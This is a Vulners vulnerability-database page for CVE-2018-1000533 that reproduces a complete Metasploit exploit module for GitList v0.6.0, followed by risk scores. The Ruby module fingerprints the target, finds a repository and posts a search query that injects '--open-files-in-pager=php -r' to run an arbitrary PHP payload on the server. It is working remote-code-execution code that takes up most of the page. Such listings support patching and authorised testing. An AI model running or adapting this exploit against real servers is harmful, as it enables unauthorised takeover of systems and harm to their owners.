Lucene search
K

GitList v0.6.0 Argument Injection Vulnerability

🗓️ 03 Jul 2018 19:27:46Reported by Kacper Szurek, Shelby PaceType 
metasploit
 metasploit
🔗 www.rapid7.com👁 31 Views

GitList v0.6.0 Argument Injection Vulnerability in ph

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2018-1000533
6 Jul 201819:46
circl
Check Point Advisories
GitList Remote Code Execution (CVE-2018-1000533)
28 Nov 202100:00
checkpoint_advisories
CVE
CVE-2018-1000533
26 Jun 201816:00
cve
Cvelist
CVE-2018-1000533
26 Jun 201816:00
cvelist
Nuclei
GitList < 0.6.0 Remote Code Execution
13 Jun 202613:20
nuclei
NVD
CVE-2018-1000533
26 Jun 201816:29
nvd
Prion
Design/Logic Flaw
26 Jun 201816:29
prion
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'           => "GitList v0.6.0 Argument Injection Vulnerability",
      'Description'    => %q{
        This module exploits an argument injection vulnerability in GitList v0.6.0.
        The vulnerability arises from GitList improperly validating input using the php function
        'escapeshellarg'.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Kacper Szurek', # EDB POC
          'Shelby Pace'    # Metasploit Module
        ],
      'References'     =>
        [
          [ 'CVE', '2018-1000533' ],
          [ 'EDB', '44548' ],
          [ 'URL', 'http://web.archive.org/web/20200122054133/https://security.szurek.pl/exploit-bypass-php-escapeshellarg-escapeshellcmd.html']
        ],
      'Platform'       => ['php'],
      'Arch'           => ARCH_PHP,
      'Targets'        =>
        [
          [ 'GitList v0.6.0', { } ]
        ],
      'Privileged'     => false,
      'Payload'        => { 'BadChars' => '\'' },
      'DisclosureDate' => '2018-04-26',
      'DefaultTarget'  => 0))

    register_options(
    [
      OptString.new('TARGETURI', [true, 'Default path to GitList', '/'])
    ])

  end

  def check
    uri = normalize_uri(target_uri.path)
    res = send_request_cgi(
      'method'  => 'GET',
      'uri'     => uri
    )

    if res && res.code == 200 && /Powered by .*GitList 0\.6\.0/.match(res.body)
      return Exploit::CheckCode::Appears
    end

    Exploit::CheckCode::Safe
  end

  def get_repo
    repo_res = send_request_cgi(
      'method' => 'GET',
      'uri'    => normalize_uri(target_uri.path)
    )

    if repo_res && repo_res.code == 200
      repos = repo_res.body.scan(/\/([^\/]+)\/master\/rss\//).flatten
      fail_with(Failure::Unreachable, "Could not retrieve any repos") if repos.empty?
      return repos.detect{ |r| r if has_files?(r) }
    else
      fail_with(Failure::Unreachable, "Could not access GitList")
    end
  end

  def has_files?(repo)
    res = send_request_cgi(
    'method' => 'GET',
    'uri'    => normalize_uri(target_uri.path, repo, '/')
    )
    if res && res.code == 200
     print_good("Successfully accessed repo #{repo}")
     return false if res.body.scan(/#{repo}\/blob\/master\//).flatten.empty?

     return true
    else
      fail_with(Failure::Unreachable, "Couldn't detect files in #{repo}'s repo")
    end
  end

  def exploit
    repo = get_repo
    fail_with(Failure::Unreachable, "No files found in repos") if repo.nil?

    postUri = normalize_uri(target_uri.path, repo << '/tree/c/search')
    cmd = "--open-files-in-pager=php -r '#{payload.encoded}'"
    send_request_cgi(
      'method' => 'POST',
      'uri'    => postUri,
      'vars_post' => { 'query' => cmd }
    )
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

28 Feb 2025 10:30Current
9.7High risk
Vulners AI Score9.7
CVSS 27.5
CVSS 3.19.8
EPSS0.93145
31